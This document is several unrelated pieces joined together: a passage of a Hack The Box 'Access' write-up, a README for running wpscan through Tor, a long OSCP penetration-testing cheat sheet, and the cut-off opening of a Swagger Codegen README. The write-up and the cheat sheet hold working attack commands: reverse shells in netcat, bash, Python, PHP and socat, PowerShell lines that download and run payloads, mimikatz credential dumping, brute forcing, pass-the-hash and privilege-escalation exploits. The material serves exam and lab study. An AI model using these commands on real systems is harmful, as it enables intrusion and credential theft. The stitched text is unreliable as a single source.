Transfer complete. 10870 bytes received in 0.16 secs (68.2424 kB/s) ftp> bye 221 Goodbye. ``` In order to open mdb archive, we need to install `mdbtools` package: ``` apt install mdbtools ``` Then we explore content: ``` root@kali:/opt/htb/Access# mdb-tables backup.mdb acc_antiback acc_door acc_firstopen acc_firstopen_emp acc_holidays acc_interlock acc_levelset acc_levelset_door_group acc_linkageio acc_map acc_mapdoorpos acc_morecardempgroup acc_morecardgroup acc_timeseg acc_wiegandfmt ACGroup acholiday ACTimeZones action_log AlarmLog areaadmin att_attreport att_waitforprocessdata attcalclog attexception AuditedExc auth_group_permissions auth_message auth_permission auth_user auth_user_groups auth_user_user_permissions base_additiondata base_appoption base_basecode base_datatranslation base_operatortemplate base_personaloption base_strresource base_strtranslation base_systemoption CHECKEXACT CHECKINOUT dbbackuplog DEPARTMENTS deptadmin DeptUsedSchs devcmds devcmds_bak django_content_type django_session EmOpLog empitemdefine EXCNOTES FaceTemp iclock_dstime iclock_oplog iclock_testdata iclock_testdata_admin_area iclock_testdata_admin_dept LeaveClass LeaveClass1 Machines NUM_RUN NUM_RUN_DEIL operatecmds personnel_area personnel_cardtype personnel_empchange personnel_leavelog ReportItem SchClass SECURITYDETAILS ServerLog SHIFT TBKEY TBSMSALLOT TBSMSINFO TEMPLATE USER_OF_RUN USER_SPEDAY UserACMachines UserACPrivilege USERINFO userinfo_attarea UsersMachines UserUpdates worktable_groupmsg worktable_instantmsg worktable_msgtype worktable_usrmsg ZKAttendanceMonthStatistics acc_levelset_emp acc_morecardset ACUnlockComb AttParam auth_group AUTHDEVICE base_option dbapp_viewmodel FingerVein devlog HOLIDAYS personnel_issuecard SystemLog USER_TEMP_SCH UserUsedSClasses acc_monitor_log OfflinePermitGroups OfflinePermitUsers OfflinePermitDoors LossCard TmpPermitGroups TmpPermitUsers TmpPermitDoors ParamSet acc_reader acc_auxiliary STD_WiegandFmt CustomReport ReportField BioTemplate FaceTempEx FingerVeinEx TEMPLATEEx ``` We focus on `auth_user`: ``` root@kali:/opt/htb/Access# mdb-export backup.mdb auth_user id,username,password,Status,last_login,RoleID,Remark 25,"admin","admin",1,"08/23/18 21:11:47",26, 27,"engineer","access4u@security",1,"08/23/18 21:13:36",26, 28,"backup_admin","admin",1,"08/23/18 21:14:02",26, ``` So far, we got some credentials. Next, we focus on zip archive: ``` # 7z x Access\ Control.zip 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-4770K CPU @ 3.50GHz (306C3),ASM,AES-NI) Scanning the drive for archives: 1 file, 10870 bytes (11 KiB) Extracting archive: Access Control.zip -- Path = Access Control.zip Type = zip Physical Size = 10870 Enter password (will not be echoed): ``` We try with `access4u@security` and we extract a pst file: ``` # 7z x Access\ Control.zip 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-4770K CPU @ 3.50GHz (306C3),ASM,AES-NI) Scanning the drive for archives: 1 file, 10870 bytes (11 KiB) Extracting archive: Access Control.zip -- Path = Access Control.zip Type = zip Physical Size = 10870 Enter password (will not be echoed): Everything is Ok Size: 271360 Compressed: 10870 ``` Then we use `readpst` and we extract an mbox email message: ``` # readpst Access\ Control.pst Opening PST file and indexes... Processing Folder "Deleted Items" "Access Control" - 2 items done, 0 items skipped. ``` We look at mbox text and we found other interesting stuff: ``` .. .. </o:shapelayout></xml><![endif]--></head><body lang=EN-US link="#0563C1" vlink="#954F72"><div class=WordSection1><p class=MsoNormal>Hi there,<o:p></o:p></p><p class=MsoNormal><o:p>&nbsp;</o:p></p><p class=MsoNormal>The password for the &#8220;security&#8221; account has been changed to 4Cc3ssC0ntr0ller.&nbsp; Please ensure this is passed on to your engineers.<o:p></o:p></p><p class=MsoNormal><o:p>&nbsp;</o:p></p><p class=MsoNormal>Regards,<o:p></o:p></p><p class=MsoNormal>John<o:p></o:p></p></div></body></html> --alt---boundary-LibPST-iamunique-57737615_-_--- .. .. ``` ## User flag ``` user: security pass: 4Cc3ssC0ntr0ller ``` We try with telnet access and we are able to retrive user flag: ``` root@kali:/opt/htb/Access# telnet 10.10.10.98 Trying 10.10.10.98... Connected to 10.10.10.98. Escape character is '^]'. Welcome to Microsoft Telnet Service login: security login: security password: *=============================================================== Microsoft Telnet Server. *=============================================================== C:\Users\security>whoami access\security C:\Users\security>cd Desktop C:\Users\security\Desktop>dir Volume in drive C has no label. Volume Serial Number is 9C45-DBF0 Directory of C:\Users\security\Desktop 08/28/2018 07:51 AM <DIR> . 08/28/2018 07:51 AM <DIR> .. 08/21/2018 11:37 PM 32 user.txt 1 File(s) 32 bytes 2 Dir(s) 16,772,272,128 bytes free C:\Users\security\Desktop>type user.txt ff1f3b48[REDACTED] C:\Users\security\Desktop> ``` ## Privesc We look for saved credentials and we found: ``` C:\Users\security\Desktop>cmdkey /list Currently stored credentials: Target: Domain:interactive=ACCESS\Administrator Type: Domain Password User: ACCESS\Administrator ``` At this point we can already grab Administrator flag with: ``` c:\windows\system32\runas.exe /user:ACCESS\Administrator /savecred "c:\windows\system32\cmd.exe /c TYPE c:\users\administrator\Desktop\root.txt > c:\users\security\root.txt" ``` In order to get a shell, we need `nc` on target machine: ``` # cp /usr/share/windows-resources/binaries/nc.exe www/ # nc -nlvp 9002 listening on [any] 9002 ... ``` On target, we use `certutil` to download file from our python webserver: ``` PS C:\users\security> certutil -urlcache -f http://10.10.14.21:8000/nc.exe c:\users\security\nc.exe **** Online **** CertUtil: -URLCache command completed successfully. ``` At this point, we spawn another listener on port 9002 and we obtain a reverse shell: ``` PS C:\users\security> runas /user:Access\Administrator /savecred "nc.exe -nv 10.10.14.21 9002 -e cmd.exe" connect to [10.10.14.21] from (UNKNOWN) [10.10.10.98] 49176 Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami access\administrator ```
# Wpscan with Tor proxy Easily run Wpscan with Tor proxy in docker. This project uses the default wpscan docker image and a lightweight alpine image for Tor proxy. Use this tool **only** for WordPress websites you own, to assess the security of them and plan accordingly. ## Usage For convience use the simple bash script wrapper `./wpscan` to run the tool. The script just wraps docker commands. To see all available options: ``` ./wpscan --help ``` ### Simplest example ``` ./wpscan --url http://example.com ``` Note: the first time you run the tool, it will take some time since it will pull the wpscan image and build the tor image. ## Updating Updating is simply done by pulling the latest image. ``` docker pull wpscanteam/wpscan ``` ## Configuration The project has been setup to work out of the box with Tor proxy. In case you want to add more configuration options you can edit: - `cli_options.yml` For Wpscan configuration - `tor/torrc` For Tor configuration ## Wpscan password lists Due to the nature of containers, if you want to use files from a tool that runs in a container, you need to share the files in the container itself. This setup automatically shares the `passwordlists` directory and maps it to `/wpscan/passwordlists` in the container. If you drop a password list file to this folder it will be available for use with the tool. #### Example Assuming you have copied the popular `rockyou.txt` list in the `passwordlists` folder, you can use it with: ``` ./wpscan -P /wpscan/passwordlists/rockyou.txt --url http://example.com <...extra options/arguments here if needed...> ``` Note that you need to use the **full path** as it is mapped in the container.
# OSCP-PWK-Notes ## Exam Proofs Linux: ```bash hostname cat /path/to/flag/proof.txt ifconfig ``` Windows: ```bash hostname type C:\path\to\flag\proof.txt ipconfig ``` ## Useful services ### SSHd ```bash sudo systemctl start ssh sudo systemctl stop ssh ``` Add this line to `/etc/ssh/ssh_config` or `/etc/ssh/sshd_config` if you are dealing with old versions of `ssh`. Running `ssh` with the `-v` option will help debug what key exchange algorithms you need. ``` KexAlgorithms diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 ``` ### Apache2 ```bash sudo systemctl start apache2 sudo systemctl stop apache2 ``` Default root directory is `/var/www/html`. ## Scanning Using `rustscan`: ```bash rustscan --accessible -a <target> -r 1-65535 -- -sT -sV -sC -Pn ``` Using `nmap`: ```bash nmap -Pn -sT -sV -sC <target> ``` Remember to perform a `UDP` scan and hopefully there is something you can use! ```bash nmap -sU --script tftp-enum -p53,69,161 <target> ``` Using `nmapAutomator`: ```bash ./nmapAutomator.sh 10.10.10.209 All ``` ## File Transfers ### HTTP To start a `HTTP` server: ```bash sudo python3 -m http.server 80 sudo python2 -m SimpleHTTPServer 80 sudo updog -p 80 ``` To download a file: ```bash On Linux curl http://10.0.0.1:80/nc.exe > nc.exe wget http://10.0.0.1:80/nc.exe -O nc.exe On Windows: certutil -f -split -urlcache http://10.0.0.1:80/nc.exe nc.exe powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.0.0.1:80/nc.exe', 'C:\Users\root\Desktop\nc.exe')" powershell -c "Invoke-WebRequest http://10.0.0.1:80/nc.exe -OutFile C:\Users\root\Desktop\nc.exe" ``` ### SMB To start a `SMB` server: ```bash On Linux: sudo smbserver.py -port 445 -smb2support share . #SMB2 sudo smbserver.py -port 445 share . #SMB1 ``` To download a file: ```bash On Windows: copy \\10.0.0.1\share\nc.exe C:\nc.exe \\10.0.0.1\share\whoami.exe ``` ### FTP To start a `FTP` server: ```bash On Linux: sudo python3 -m pyftpdlib -p 21 -w ``` To download a file: ```bash On Windows: ftp -A 10.0.0.1 ftp> binary ftp> passive ``` ### TFTP To start a `TFTP` server: ```bash On Linux: sudo atftpd --daemon --port 69 /tftp ``` To download a file: ```bash On Windows tftp -i 10.0.0.1 GET nc.exe ``` ### nc Linux &rarr; Windows ```bash On Linux: cat nc.exe | nc -lvnp 1337 On Windows nc 10.0.0.1 1337 > nc.exe ``` Windows &rarr; Linux ```bash On Linux: nc 10.0.0.1 1337 < nc.exe On Windows nc -lvnp 1337 > nc.exe ``` ## Reverse Shell https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md ### Listener ```bash rlwrap nc -lvnp 1337 ``` ### Netcat/nc Traditional ```bash nc -e /bin/sh 10.0.0.1 1337 nc -e /bin/bash 10.0.0.1 1337 nc -c /bin/bash 10.0.0.1 1337 ``` ### Netcat/nc OpenBSD ```bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1337 >/tmp/f ``` ### Python Linux: ```bash python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket. SOCK_STREAM);s.connect(("10.0.0.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' ``` Windows: ```bash C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 1337)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ``` ### PHP ```bash php -r '$sock=fsockopen("10.0.0.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("10.0.0.1",1337);shell_exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("10.0.0.1",1337);`/bin/sh -i <&3 >&3 2>&3`;' php -r '$sock=fsockopen("10.0.0.1",1337);system("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("10.0.0.1",1337);passthru("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("10.0.0.1",1337);popen("/bin/sh -i <&3 >&3 2>&3", "r");' php -r '$sock=fsockopen("10.0.0.1",1337);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);' ``` ### Bash TCP ```bash bash -i >& /dev/tcp/10.0.0.1/1337 0>&1 ``` ### Powershell ```bash powershell.exe iex (New-Object Net.WebClient).DownloadString('http://10.0.0.1/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.0.0.1 -Port 1337 ``` ## Powershell version ```powershell 64-bit: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 32-bit: C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe ``` To check 32-bit/64-bit: ```powershell [Environment]::Is64BitProcess ``` ## Upgrade to Full TTY Some commands/exploits may only work when you have full TTY. ### Socat Attacker: ```bash socat file:`tty`,raw,echo=0 TCP-L:1337 ``` Victim: ```bash socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:1337 ``` ### From nc Victim: ```bash python -c 'import pty;pty.spawn("/bin/bash")' Ctrl-z ``` Attacker: ```bash echo $TERM # note down stty -a # note down rows and cols stty raw -echo fg ``` Victim: ```bash reset export SHELL=bash export TERM=xterm256-color # from "echo $TERM" stty rows 38 columns 116 # from "stty -a" ``` ## Port Enumeration ### Port 21 (FTP) Login bruteforce: ```bash hydra -L usernames.txt -P passwords.txt <target> ftp ``` ### Port 139/445 (SMB) Checking for vulnerabilties: ```bash nmap -Pn -p445 --script smb-vuln-* <target> nmap -Pn -p445 --script smb-vuln-cve-2017-7494 --script-args smb-vuln-cve-2017-7494.check-version <target> # SambaCry ``` Share enumeration: ```bash nmap -Pn -p445 --script smb-enum-shares.nse <target> # May show path smbmap -H <IP> [-P <PORT>] # Null user smbmap -u "username" -p "password" -H <IP> [-P <PORT>] # Creds smbmap -u "username" -p "<LM>:<NT>" -H <IP> [-P <PORT>] # Pass-the-Hash enum4linux -a -u "<username>" -p "<password>" <IP> ``` If there is no null user, remember to try with the guest username. Accessing share: ```bash smbclient --no-pass -L //<IP> # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> # If you omit the passwd, it will be prompted. With --pw-nt-hash, the passwd provided is the NT hash ``` If there is SMB version incompatibility, edit `/etc/samba/smb.conf` and append `min protocol = SMB1` to `[global]` seciton. Login bruteforce: ```bash hydra -L usernames.txt -P passwords.txt <target> smb ``` Getting a shell: Using `psexec.py`: ```bash psexec.py -hashes "<LM>:<NT>" [email protected] psexec.py Administrator:<password>@10.0.0.1 psexec.py <domain>/Administrator:<password>@10.0.0.1 ``` Using `winexe`: ```bash winexe -U Administrator%<password> //10.0.0.1 cmd.exe ``` Using `pth-winexe`: ```bash pth-winexe -U Administrator%<LM>:<NT> //10.0.0.1 cmd.exe ``` `aad3b435b51404eeaad3b435b51404ee` is blank LM hash. ### Port 389 (LDAP) Getting LDAP information: ```bash ldapsearch -h <target> -p 389 -x -b "dc=htb,dc=local" python windapsearch.py -d htb.local -U --dc-ip <target> ``` ### Port 80 (HTTP)/ 443 (HTTPS) Web server scanning: ```bash nikto -host http://target:80 ``` Directory brute-forcing: If there is a `/cgi-bin/` folder, try: `.cgi,.pl,.py` ```bash gobuster dir -k -u "http://target:80/" -w /usr/share/wordlists/dirb/common.txt -t 100 -x .html,.txt,.xml,.jsp,.php,.asp Wordlists: 1) /usr/share/wordlists/dirb/big.txt 2) /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt ``` Wordlist creation: ```bash cewl -e -a http://target:80/ -w wordlist.txt ``` Form bruteforce: Using `hydra`: ```bash hydra -L usernames.txt -P passwords.txt <target> http-post-form "/otrs/index.pl:Action=Login&RequestedURL=&Lang=en&TimeOffset=300&User=^USER^&Password=^PASS^:Login Failed" ``` Using `ffuf`: ```bash ffuf -w /usr/share/wordlists/rockyou.txt -u http://nineveh.htb/department/login.php -X POST -d "username=admin&password=FUZZ" -fr "Invalid Password" -H "Content-Type: application/x-www-form-urlencoded" -t 100 ``` Testing for shellshock: ```bash nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <target> ``` Testing for heartbleed: ```bash nmap -p 443 --script ssl-heartbleed <target> ``` ### Port 3306 (MySQL) Login bruteforce: ```bash hydra -L usernames.txt -P passwords.txt <target> mysql ``` Accessing: ```bash mysql -h <target> -uroot -ptoor ``` ### Port 5985 (WinRM) Getting a shell: ```bash evil-winrm -i <target> -u <username> -p <password> evil-winrm -i <target> -u <username> -H <NT hash> ``` Login bruteforce: ```bash git clone https://github.com/mchoji/winrm-brute cd winrm-brute bundle config path vendor/bundle bundle install bundle exec ./winrm-brute.rb -U users.txt -P passwords.txt 10.0.0.1 ``` ### Port 1433 (MSSQL) Accessing: ```bash sqsh -S <target>:1433 -U sa ``` ## Privilege Escalation ### [Windows](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) #### [winPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe/winPEAS/bin/Obfuscated%20Releases) ```bash winPEASany.exe winPEAS.bat ``` #### [Seatbelt](https://raw.githubusercontent.com/r3motecontrol/Ghostpack-CompiledBinaries/master/Seatbelt.exe) ```bash Seatbelt.exe -group=system Seatbelt.exe -group=user Seatbelt.exe -group=misc Seatbelt.exe -group=all -full ``` #### [Sherlock](https://github.com/rasta-mouse/Sherlock/blob/master/Sherlock.ps1) ```bash Import-Module .\Sherlock.ps1; Find-AllVulns powershell.exe iex (New-Object Net.WebClient).DownloadString('http://10.0.0.1/Sherlock.ps1'); Find-AllVulns ``` #### [Powerless](https://github.com/M4ximuss/Powerless/blob/master/Powerless.bat) ```bash Powerless.bat ``` #### [Mimikatz](https://github.com/gentilkiwi/mimikatz) ```bash mimikatz.exe mimikatz.exe "privilege::debug token::elevate lsadump::sam exit" mimikatz.exe "privilege::debug token::elevate lsadump::secrets exit" mimikatz.exe "privilege::debug token::elevate lsadump::cache exit" mimikatz.exe "privilege::debug token::elevate sekurlsa::logonpasswords exit" mimikatz.exe "privilege::debug token::elevate vault::cred /patch exit" mimikatz.exe "privilege::debug token::elevate lsadump::dcsync /user:domain\krbtgt /domain:lab.local exit" powershell.exe iex (New-Object Net.WebClient).DownloadString('http://10.0.0.1/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds ``` #### [Kerberoast](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1) ```bash Import-Module .\Invoke-Kerberoast.ps1; Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat powershell.exe iex (New-Object Net.WebClient).DownloadString('http://10.0.0.1/Invoke-Kerberoast.ps1'); Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat ``` #### [Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) ```bash windows-exploit-suggester.py --update systeminfo > systeminfo.txt windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt ``` #### [Windows Exploit Suggester NG](https://github.com/bitsadmin/wesng) ```bash wes.py --update systeminfo > systeminfo.txt wes.py systeminfo.txt ``` ### [Linux](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md) #### [Linux Smart Enumeration](https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh) ```bash ./lse.sh -l 1 -i ``` #### [LinEnum.sh](https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh) ```bash ./LinEnum.sh ``` #### [LinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) ```bash ./linpeas.sh ``` #### [SUDO_Killer](https://github.com/TH3xACE/SUDO_KILLER) ```bash ./extract.sh ./sudo_killer.sh -c -i /path/sk_offline.txt ``` #### [Linux Exploit Suggester](https://github.com/mzet-/linux-exploit-suggester/blob/master/linux-exploit-suggester.sh) ```bash ./linux-exploit-suggester.sh -k 3.2.0 ``` #### [Linux Exploit Suggester 2](https://github.com/jondonas/linux-exploit-suggester-2/blob/master/linux-exploit-suggester-2.pl) ```bash ./linux-exploit-suggester.pl -k 3.2.0 ``` ## Port-Forwarding ### Local SSH Forwarding If a service is only exposed on a host in another network and you want to make it accessible on a local port, ```bash ssh -L 127.0.0.1:8080:REMOTE_HOST:PORT user@SSH_SERVER ``` ### Remote SSH Forwarding If a service is only exposed on a host in another network and you want to make it accessible on a local port, Using `ssh`: ```bash ssh -R 3306:127.0.0.1:3306 user@SSH_SERVER ``` Using `plink.exe`: ```bash plink.exe -l root -pw root 10.10.XX.XX -R 445:127.0.0.1:445 -P 2222 ``` ## Compiling Exploits ```bash gcc -pthread dirty.c -o dirty -lcrypt # Dirty Cow i686-w64-mingw32-gcc 40564.c -o MS11-046.exe -lws2_32 # 'afs.sys' gcc -m32 -Wl,--hash-style=both 9542.c -o 9542 # 'ip_append_data() ``` ## Useful tools ### `JuicyPotato`: Requires `SeAssignPrimaryTokenPrivilege` and `SeImpersonatePrivilege` ```bash juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c C:\reverse.exe" -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334} ``` Get `CLSID` from [here](https://ohpe.it/juicy-potato/CLSID/) ### `RoguePotato`: Requires `SeAssignPrimaryTokenPrivilege` and `SeImpersonatePrivilege` For Windows Server 2019 and Windows 10. Set up a socat redirector on Kali, forwarding Kali port 135 to port 9999 on Windows: ```bash $ sudo socat tcp-listen:135,reuseaddr,fork tcp:<target>:9999 ``` Run the `RoguePotato` exploit: ```bash RoguePotato.exe -r <attacker> -e "C:\PrivEsc\reverse.exe" -l 9999 ``` ### `PrintSpoofer`: Requires `SeImpersonatePrivilege` Windows 8.1, Windows Server 2012 R2, Windows 10 and Windows Server 2019 ```bash PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i ``` ### `EternalBlue`: ```bash python eternalblue/checker.py legacy.htb python eternalblue/send_and_execute.py legacy.htb reverse.exe 445 <pipe> ``` ### `MSFVenom`: ## Static Binaries https://github.com/ernw/static-toolbox https://github.com/ZephrFish/static-tools https://github.com/andrew-d/static-binaries https://github.com/interference-security/kali-windows-binaries https://github.com/r3motecontrol/Ghostpack-CompiledBinaries ## Compiled Exploits https://github.com/SecWiki/windows-kernel-exploits https://github.com/SecWiki/linux-kernel-exploits https://github.com/abatchy17/WindowsExploits ## Useful Exploits [Windows XP SP0/SP1 Privilege Escalation to System](https://sohvaxus.github.io/content/winxp-sp1-privesc.html) [Bypassing default UAC settings manually](https://ivanitlearning.wordpress.com/2019/07/07/bypassing-default-uac-settings-manually/) [MS17-010/Eternal Blue](https://github.com/helviojunior/MS17-010/blob/master/send_and_execute.py) [Ghostcat](https://github.com/dacade/CVE-2020-1938) [SMTP Shellshock](https://gist.github.com/claudijd/33771b6c17bc2e4bc59c) [SambaCry](https://github.com/joxeankoret/CVE-2017-7494) [Samba Symlink Traversal](https://github.com/roughiz/Symlink-Directory-Traversal-smb-manually) ## References https://github.com/tbowman01/OSCP-PWK-Notes-Public https://github.com/swisskyrepo/PayloadsAllTheThings https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/#method-3-upgrading-from-netcat-with-magic https://book.hacktricks.xyz/ https://github.com/frizb/Hydra-Cheatsheet ## Tools list (`install.sh`) ### General | Toolname | Location | Installed | | ----------------- | ------------------------------ | ---------- | | `docker-ce` | - | Yes | | `rlwrap` | - | Yes | | `code` | - | Yes | | `openjdk-11-jdk` | - | Yes | | `gdb` | - | Yes | | `pip2` | - | Yes | | `pip3` | - | Yes | | `updog` | - | Yes | | `volatility` | `~/Desktop/tools/volatility3` | Yes | | `ghidra` | `~/Desktop/tools/ghidra` | Yes | | `sysinternals` | `~/Desktop/tools/sysinternals` | Yes | | `pwntools` | - | Yes | | `z3-solver` | - | Yes | | `randcrack` | - | Yes | ### Shell | Toolname | Location | Installed | | ---------------- | --------------------------- | ---------- | | `rlwrap` | - | Yes | | `telnet` | - | Yes | | `evil-winrm` | - | Yes | | `msfpc` | `~/Desktop/tools/msfpc` | Yes | | `rsg` | `~/Desktop/tools/rsg` | Yes | ### Web | Toolname | Location | Installed | | ---------------- | -------------------------- | ---------- | | `gobuster` | - | Yes | | `ffuf` | - | Yes | | `seclists` | `~/Desktop/tools/seclists` | Yes | | `mariadb-client` | - | Yes | | `feroxbuster` | - | Yes | ### Compilation | Toolname | Location | Installed | | ---------------- | -------------------------- | ---------- | | `cmake` | - | Yes | | `mingw-w64` | - | Yes | ### Brute-force | Toolname | Location | Installed | | ----------------- | -------------------------- | ---------- | | `crowbar` | - | Yes | ### Recon | Toolname | Location | Installed | | ----------------- | -------------------------- | ---------- | | `rustscan` | - | Yes | | `AutoRecon` | - | Yes | | `nmapAutomator` | - | Yes | ### Windows Enumeration | Toolname | Location | Installed | | ----------------- | ------------------------------------------- | ---------- | | `Sherlock` | `~/Desktop/web/sherlock.ps1` | Yes | | `Empire` | `~/Desktop/tools/Empire` | Yes | | `wesng` | `~/Desktop/tools/wesng` | Yes | | `Windows-Exploit-Suggester` | `~/Desktop/tools/Windows-Exploit-Suggester` | Yes | | `Powerless` | `~/Desktop/web/powerless.bat` | Yes | | `Seatbelt` | `~/Desktop/web/seatbelt.exe` | Yes | | `Powerview` | `~/Desktop/web/powerview.ps1` | Yes | | `winPEAS` | `~/Desktop/web/winpeasany.exe` | Yes | | `nishang` | `~/Desktop/tools/nishang` | Yes | | `juicypotato x64` | `~/Desktop/web/juicypotato.exe` | Yes | | `roguepotato` | `~/Desktop/web/roguepotato.exe` | Yes | ### Linux Enumeration | Toolname | Location | Installed | | ------------------------- | ----------------------------------------- | ---------- | | `sudo_killer` | `~/Desktop/tools/SUDO_KILLER` | Yes | | `linux-exploit-suggester` | `~/Desktop/tools/linux-exploit-suggester` | Yes | | `LinEnum.sh` | `~/Desktop/web/linenum.sh` | Yes | | `linux-smart-enumeration` | `~/Desktop/web/lse.sh` | Yes | | `linPEAS` | `~/Desktop/web/linpeas.sh` | Yes | ### Exploits | Toolname | Location | Installed | | ------------------------- | ----------------------------------------- | ---------- | | `eternalblue` | `~/Desktop/exploits/eternablue` | Yes | | `sambacry` | `~/Desktop/exploits/sambacry` | Yes | | `ghostcat` | `~/Desktop/exploits/ghostcat` | Yes | | `postfix shellshock` | `~/Desktop/exploits/postfix_shellshock` | Yes | | `xploit_installer` | `~/Desktop/exploits/xploit_installer` | Yes | ### Compiled Binaries | Toolname | Location | Installed | | ------------------------- | ----------------------------------------- | ---------- | | `windows-binaries` | `~/Desktop/tools/windows-binaries` | Yes | | `static-binaries` | `~/Desktop/exploits/static-binaries` | Yes |
# Swagger Code Generator [![Build Status](https://img.shields.io/travis/swagger-api/swagger-codegen/master.svg?label=Petstore%20Integration%20Test)](https://travis-ci.org/swagger-api/swagger-codegen) [![Run Status](https://img.shields.io/shippable/5782588a3be4f4faa56c5bea.svg?label=Mustache%20Template%20Test)](https://app.shippable.com/projects/5782588a3be4f4faa56c5bea) [![Windows Test](https://ci.appveyor.com/api/projects/status/github/swagger-api/swagger-codegen?branch=master&svg=true&passingText=Windows%20Test%20-%20OK&failingText=Windows%20Test%20-%20Fails)](https://ci.appveyor.com/project/WilliamCheng/swagger-codegen-wh2wu) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project/badge.svg?style=plastic)](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project) [![PR Stats](http://issuestats.com/github/swagger-api/swagger-codegen/badge/pr)](http://issuestats.com/github/swagger-api/swagger-codegen) [![Issue Stats](http://issuestats.com/github/swagger-api/swagger-codegen/badge/issue)](http://issuestats.com/github/swagger-api/swagger-codegen) :star::star::star: If you would like to contribute, please refer to [guidelines](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) and a list of [open tasks](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22Need+community+contribution%22).:star::star::star: :notebook_with_decorative_cover: For more information, please refer to the [Wiki 